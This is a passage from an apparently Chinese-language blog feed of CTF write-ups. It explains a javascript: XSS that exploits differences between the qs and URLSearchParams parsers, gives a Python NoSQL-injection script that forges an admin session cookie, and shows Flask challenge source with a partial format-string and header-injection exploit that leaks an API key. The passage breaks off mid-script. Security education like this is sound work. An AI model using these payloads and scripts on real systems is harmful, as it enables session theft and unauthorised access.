&lt;p&gt;在这个&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签里面，使用浏览器原生的&lt;code&gt;URLSearchParams&lt;/code&gt;从&lt;code&gt;window.location.search&lt;/code&gt;中提取&lt;code&gt;redirect_uri&lt;/code&gt;参数，然后赋值给&lt;code&gt;location&lt;/code&gt;触发页面跳转&lt;/p&gt;
&lt;p&gt;而这里uri的值是可控的，如果url是&lt;code&gt;javascript:alert(1)&lt;/code&gt;这样的javascript协议地址就可以直接进行xss，但是上面是有严格校验的，要求&lt;code&gt;redirect_uri&lt;/code&gt;必须是&lt;code&gt;https://pwnbox.xyz/docs&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;漏洞的突破口就在于客户端和服务端使用了&lt;strong&gt;两套不同的查询字符串解析器&lt;/strong&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="解析差异"&gt;&lt;span&gt;解析差异&lt;/span&gt;
 &lt;a href="#%e8%a7%a3%e6%9e%90%e5%b7%ae%e5%bc%82" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;h2 class="heading-element" id="express的extended模式"&gt;&lt;span&gt;Express的extended模式&lt;/span&gt;
 &lt;a href="#express%e7%9a%84extended%e6%a8%a1%e5%bc%8f" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h2&gt;&lt;p&gt;首先来看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app.set(&amp;#39;query parser&amp;#39;, &amp;#39;extended&amp;#39;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Express的extended模式意味着使用&lt;code&gt;qs&lt;/code&gt;模式来查询字符串&lt;/p&gt;
&lt;p&gt;跟进Express的源码(express/lib/utils.js)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function parseExtendedQueryString(str) {
 return qs.parse(str, {
 allowPrototypes: true
 });
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这里有两个关键点：使用了&lt;code&gt;qs&lt;/code&gt;库，并且传入了&lt;code&gt;allowPrototypes: true&lt;/code&gt;选项&lt;/p&gt;
&lt;h2 class="heading-element" id="qs-库的预处理机制"&gt;&lt;span&gt;qs 库的预处理机制&lt;/span&gt;
 &lt;a href="#qs-%e5%ba%93%e7%9a%84%e9%a2%84%e5%a4%84%e7%90%86%e6%9c%ba%e5%88%b6" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h2&gt;&lt;p&gt;跟进&lt;code&gt;qs&lt;/code&gt;库&lt;code&gt;lib/parse.js&lt;/code&gt;的&lt;code&gt;parseValues&lt;/code&gt;函数&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603032026154.png' alt="image-20260303194507463"&gt;&lt;/p&gt;
&lt;p&gt;这段代码在分割和解析字符串之前先对整个字符串进行了一次替换，将&lt;code&gt;%5B&lt;/code&gt;替换成&lt;code&gt;[&lt;/code&gt;，&lt;code&gt;%5D&lt;/code&gt;替换成&lt;code&gt;]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后&lt;code&gt;qs&lt;/code&gt;在解析每一段参数时还有一个特殊的key/value分割逻辑&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603032026143.png' alt="image-20260303195014122"&gt;&lt;/p&gt;
&lt;p&gt;也就是说&lt;code&gt;qs&lt;/code&gt;在确定&lt;code&gt;=&lt;/code&gt;的分割位置时会&lt;strong&gt;优先寻找&lt;/strong&gt;&lt;code&gt;]=&lt;/code&gt;的位置，如果找到了&lt;code&gt;]=&lt;/code&gt;就用&lt;code&gt;]=&lt;/code&gt;中的&lt;code&gt;=&lt;/code&gt;作为key/value的分割点&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;举个例子，如果传入参数是a]=b，那么key就是a]，value就是b&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 class="heading-element" id="urlsearchparams的行为"&gt;&lt;span&gt;URLSearchParams的行为&lt;/span&gt;
 &lt;a href="#urlsearchparams%e7%9a%84%e8%a1%8c%e4%b8%ba" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h2&gt;&lt;p&gt;浏览器原生的&lt;code&gt;URLSearchParams&lt;/code&gt;&lt;strong&gt;不做任何预处理&lt;/strong&gt;，直接按&lt;code&gt;&amp;amp;&lt;/code&gt;分割参数，根据第一个&lt;code&gt;=&lt;/code&gt;分割key和value&lt;/p&gt;
&lt;h2 class="heading-element" id="差异总结"&gt;&lt;span&gt;差异总结&lt;/span&gt;
 &lt;a href="#%e5%b7%ae%e5%bc%82%e6%80%bb%e7%bb%93" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h2&gt;&lt;p&gt;key师傅的总结表：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;特性&lt;/th&gt;
 &lt;th&gt;qs(服务端)&lt;/th&gt;
 &lt;th&gt;URLSearchParams(客户端)&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;预处理&lt;/td&gt;
 &lt;td&gt;%5B-&amp;gt;[ , %5D-&amp;gt;]&lt;/td&gt;
 &lt;td&gt;无&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;key/value分割&lt;/td&gt;
 &lt;td&gt;优先找]=，否则找第一个=&lt;/td&gt;
 &lt;td&gt;始终用第一个=&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;bracket语法&lt;/td&gt;
 &lt;td&gt;a[b]=c → {a: {b: &amp;ldquo;c&amp;rdquo;}}&lt;/td&gt;
 &lt;td&gt;a[b]是独立的参数名&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 class="heading-element" id="漏洞利用"&gt;&lt;span&gt;漏洞利用&lt;/span&gt;
 &lt;a href="#%e6%bc%8f%e6%b4%9e%e5%88%a9%e7%94%a8" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;h2 class="heading-element" id="构造payload"&gt;&lt;span&gt;构造payload&lt;/span&gt;
 &lt;a href="#%e6%9e%84%e9%80%a0payload" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h2&gt;&lt;p&gt;根据&lt;code&gt;qs&lt;/code&gt;的&lt;code&gt;%5D&lt;/code&gt; -&amp;gt; &lt;code&gt;]&lt;/code&gt;预处理以及 &lt;code&gt;]=&lt;/code&gt; 优先分割，可以构造&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redirect_uri=javascript:alert(document.cookie)//%5D=x&amp;amp;redirect_uri=https://pwnbox.xyz/docs&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="解析流程"&gt;&lt;span&gt;解析流程&lt;/span&gt;
 &lt;a href="#%e8%a7%a3%e6%9e%90%e6%b5%81%e7%a8%8b" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h2&gt;&lt;p&gt;先看服务端的解析流程&lt;/p&gt;
&lt;p&gt;&lt;code&gt;qs&lt;/code&gt;解析时，先对整个查询字符串做&lt;code&gt;%5D -&amp;gt; ]&lt;/code&gt;预处理，那么payload就变成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redirect_uri=javascript:alert(document.cookie)//]=x&amp;amp;redirect_uri=https://pwnbox.xyz/docs&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;然后按照&amp;amp;分割成两端&lt;/p&gt;
&lt;p&gt;第一段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redirect_uri=javascript:alert(document.cookie)//]=x&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;qs&lt;/code&gt;在这里面搜索&lt;code&gt;]=&lt;/code&gt;，找到了&lt;code&gt;//]=x&lt;/code&gt;中的&lt;code&gt;]=&lt;/code&gt;，然后就以&lt;code&gt;]=&lt;/code&gt;中的&lt;code&gt;=&lt;/code&gt;作为分割点，那么：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;key&lt;/strong&gt;=&lt;code&gt;redirect_uri=javascript:alert(document.cookie)//]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;value&lt;/strong&gt;=&lt;code&gt;x&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但是key不是&lt;code&gt;redirect_uri&lt;/code&gt;，所以并不会设置&lt;code&gt;redirect_uri&lt;/code&gt;的值&lt;/p&gt;
&lt;p&gt;第二段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redirect_uri=https://pwnbox.xyz/docs&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;key&lt;/strong&gt;=&lt;code&gt;redirect_uri&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;value&lt;/strong&gt;=&lt;code&gt;https://pwnbox.xyz/docs&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;满足&lt;code&gt;redirect_uri&lt;/code&gt;的值为&lt;code&gt;https://pwnbox.xyz/docs&lt;/code&gt;，所以服务端的校验通过，页面返回包含&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签的html&lt;/p&gt;
&lt;p&gt;然后是客户端的解析流程&lt;/p&gt;
&lt;p&gt;浏览器中的&lt;code&gt;URLSearchParams&lt;/code&gt;不做&lt;code&gt;%5D&lt;/code&gt;预处理直接按照第一个&lt;code&gt;=&lt;/code&gt;进行分割&lt;/p&gt;
&lt;p&gt;第一段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redirect_uri=javascript:alert(document.cookie)//%5D=x&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;第一个&lt;code&gt;=&lt;/code&gt;在redirect_uri=处，所以&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;key&lt;/strong&gt;=&lt;code&gt;redirect_uri&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;value&lt;/strong&gt;=&lt;code&gt;javascript:alert(document.cookie)//]=x&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;第二段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redirect_uri=https://pwnbox.xyz/docs&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;key&lt;/strong&gt;=&lt;code&gt;redirect_uri&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;value&lt;/strong&gt;=&lt;code&gt;https://pwnbox.xyz/docs&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但是&lt;code&gt;URLSearchParams.get()&lt;/code&gt;只会返回第一个匹配的值，即&lt;code&gt;javascript:alert(document.cookie)//]=x&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;所以客户端最终执行的是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;location = &amp;#34;javascript:alert(document.cookie)//]=x&amp;#34;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;javascript&lt;/code&gt;协议会把冒号后面的内容当作JavaScript代码执行，而且//在JS中是行注释符，&lt;code&gt;]=x&lt;/code&gt;最终会被注释，实际执行的JS代码其实是&lt;code&gt;alert(document.cookie)&lt;/code&gt;，可以成功触发XSS&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202603032026112.png' alt="image-20260303202230532"&gt;&lt;/p&gt;</description></item><item><title>阿里CTF 2026部分复现</title><link>https://blog.p0l1st.top/post/%E9%98%BF%E9%87%8Cctf-2026%E9%83%A8%E5%88%86%E5%A4%8D%E7%8E%B0/</link><pubDate>Fri, 27 Feb 2026 17:15:29 +0000</pubDate><author>p0l1st@venomsec.org (p0l1st)</author><guid>https://blog.p0l1st.top/post/%E9%98%BF%E9%87%8Cctf-2026%E9%83%A8%E5%88%86%E5%A4%8D%E7%8E%B0/</guid><category domain="https://blog.p0l1st.top/categories/ctf/">CTF</category><description>&lt;h1 class="heading-element" id="easy-login"&gt;&lt;span&gt;Easy Login&lt;/span&gt;
 &lt;a href="#easy-login" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;懒得写详细了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const session = await sessionsCollection.findOne({ sid });&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;存在NoSQL注入&lt;/p&gt;
&lt;p&gt;那么先通过visit访问http://127.0.0.1:3000/，bot则会登录admin在Mongo数据库中生成admin的session&lt;/p&gt;
&lt;p&gt;然后通过构造Cookie: sid=j:{&amp;quot;$ne&amp;quot;:null} 然后再访问/admin即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import json


BASE = &amp;#34;http://223.6.249.127:13173&amp;#34;
TIMEOUT = 15

def exploit():
 # 1. 触发 /visit 让服务器生成 session
 try:
 requests.post(
 BASE &amp;#43; &amp;#34;/visit&amp;#34;,
 json={&amp;#34;url&amp;#34;: &amp;#34;http://127.0.0.1:3000/&amp;#34;},
 timeout=TIMEOUT
 )
 except:
 pass

 # 2. 构造 sid = j:{&amp;#34;$ne&amp;#34;: null}
 mongo_op = &amp;#34;$ne&amp;#34;
 evil_cookie = &amp;#34;j:&amp;#34; &amp;#43; json.dumps({mongo_op: None})

 print(&amp;#34;[&amp;#43;] 使用恶意 sid:&amp;#34;, evil_cookie)

 r = requests.get(
 BASE &amp;#43; &amp;#34;/admin&amp;#34;,
 headers={&amp;#34;Cookie&amp;#34;: &amp;#34;sid=&amp;#34; &amp;#43; evil_cookie},
 timeout=TIMEOUT
 )

 print(&amp;#34;\n[&amp;#43;] /admin 返回内容：&amp;#34;)
 print(r.text)


if __name__ == &amp;#34;__main__&amp;#34;:
 exploit()&lt;/code&gt;&lt;/pre&gt;&lt;h1 class="heading-element" id="cutter"&gt;&lt;span&gt;Cutter&lt;/span&gt;
 &lt;a href="#cutter" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;源码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from flask import Flask, request, render_template, render_template_string
from io import BytesIO
import os
import json
import httpx

app = Flask(__name__)

API_KEY = os.urandom(32).hex()
HOST = &amp;#39;127.0.0.1:5000&amp;#39;

@app.route(&amp;#39;/admin&amp;#39;, methods=[&amp;#39;GET&amp;#39;])
def admin():
 token = request.headers.get(&amp;#34;Authorization&amp;#34;, &amp;#34;&amp;#34;)
 if token != API_KEY:
 return &amp;#39;unauth&amp;#39;, 403

 tmpl = request.values.get(&amp;#39;tmpl&amp;#39;, &amp;#39;index.html&amp;#39;)
 tmpl_path = os.path.join(&amp;#39;./templates&amp;#39;, tmpl)

 if not os.path.exists(tmpl_path):
 return &amp;#39;Not Found&amp;#39;, 404

 tmpl_content = open(tmpl_path, &amp;#39;r&amp;#39;).read()
 return render_template_string(tmpl_content), 200

@app.route(&amp;#39;/action&amp;#39;, methods=[&amp;#39;POST&amp;#39;])
def action():
 ip = request.remote_addr
 if ip != &amp;#39;127.0.0.1&amp;#39;:
 return &amp;#39;only localhost&amp;#39;, 403

 token = request.headers.get(&amp;#34;X-Token&amp;#34;, &amp;#34;&amp;#34;)
 if token != API_KEY:
 return &amp;#39;unauth&amp;#39;, 403
 
 file = request.files.get(&amp;#39;content&amp;#39;)
 content = file.stream.read().decode()

 action = request.files.get(&amp;#34;action&amp;#34;)
 act = json.loads(action.stream.read().decode())

 if act[&amp;#34;type&amp;#34;] == &amp;#34;echo&amp;#34;:
 return content, 200
 elif act[&amp;#34;type&amp;#34;] == &amp;#34;debug&amp;#34;:
 return content.format(app), 200
 else:
 return &amp;#39;unkown action&amp;#39;, 400

@app.route(&amp;#39;/heartbeat&amp;#39;, methods=[&amp;#39;GET&amp;#39;, &amp;#39;POST&amp;#39;])
def heartbeat():
 text = request.values.get(&amp;#39;text&amp;#39;, &amp;#34;default&amp;#34;)
 client = request.values.get(&amp;#39;client&amp;#39;, &amp;#34;default&amp;#34;)
 token = request.values.get(&amp;#39;token&amp;#39;, &amp;#34;&amp;#34;)

 if len(text) &amp;gt; 300:
 return &amp;#34;text too large&amp;#34;, 400

 action = json.dumps({&amp;#34;type&amp;#34; : &amp;#34;echo&amp;#34;})

 form_data = {
 &amp;#39;content&amp;#39;: (&amp;#39;content&amp;#39;, BytesIO(text.encode()), &amp;#39;text/plain&amp;#39;),
 &amp;#39;action&amp;#39; : (&amp;#39;action&amp;#39;, BytesIO(action.encode()), &amp;#39;text/json&amp;#39;)
 }

 headers = {
 &amp;#34;X-Token&amp;#34; : API_KEY,
 }
 headers[client] = token

 response = httpx.post(f&amp;#34;http://{HOST}/action&amp;#34;, headers=headers, files=form_data, timeout=10.0)
 if response.status_code == 200:
 return response.text, 200
 else:
 return f&amp;#39;action failed&amp;#39;, 500

@app.route(&amp;#39;/&amp;#39;, methods=[&amp;#39;GET&amp;#39;])
def index():
 return render_template(&amp;#39;index.html&amp;#39;)

if __name__ == &amp;#39;__main__&amp;#39;:
 app.run(debug=False, host=&amp;#39;0.0.0.0&amp;#39;, port=5000)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;首先是admin路由存在任意文件读取或SSTI(文件内容可控的前提下)&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202602271717458.png' alt="image-20260208133054576"&gt;&lt;/p&gt;
&lt;p&gt;但是需要&lt;code&gt;API_KEY&lt;/code&gt;，而&lt;code&gt;API_KEY&lt;/code&gt;又是随机生成的&lt;/p&gt;
&lt;p&gt;往下看，action路由在debug模式下存在格式化字符串漏洞，可以泄露出全局变量中的&lt;code&gt;API_KEY&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202602271717555.png' alt="image-20260208133256729"&gt;&lt;/p&gt;
&lt;p&gt;而action路由可以通过heartbeat路由来访问&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202602271717496.png' alt="image-20260208133701328"&gt;&lt;/p&gt;
&lt;p&gt;这里默认硬编码了type为echo模式，但是headers可控，我们可以通过注入Content-Type头部来劫持数据包，设置&lt;code&gt;client=Content-Type&lt;/code&gt; 和 &lt;code&gt;token=multipart/form-data; boundary=123&lt;/code&gt;，然后设置text的值为&lt;code&gt;{&amp;quot;type&amp;quot;:&amp;quot;debug&amp;quot;}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这样通过heartbeat请求action的时候会优先使用我们注入的&lt;code&gt;123&lt;/code&gt;这部分作为Boundary，然后后端从text中读取action的值覆盖掉上面硬编码的echo模式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests

url = &amp;#34;http://223.6.249.127:18270&amp;#34;


def key():
 payload = &amp;#34;{0.view_functions[index].__globals__[API_KEY]}&amp;#34;
 
 BOUNDARY = &amp;#34;p0l1st&amp;#34;
 multipart_data = (
 f&amp;#34;{payload}\r\n&amp;#34;
 f&amp;#34;--{BOUNDARY}\r\n&amp;#34;
 &amp;#39;Content-Disposition: form-data; name=&amp;#34;action&amp;#34;; filename=&amp;#34;p0l1st.json&amp;#34;\r\n\r\n&amp;#39;
 &amp;#39;{&amp;#34;type&amp;#34;: &amp;#34;debug&amp;#34;}\r\n&amp;#39;
 f&amp;#34;--{BOUNDARY}--\r\n&amp;#34;
 )
 
 data = {
 &amp;#34;client&amp;#34;: &amp;#34;content-type&amp;#34;, 
 &amp;#34;token&amp;#34;: f&amp;#34;multipart/form-data; boundary={BOUNDARY}&amp;#34;,
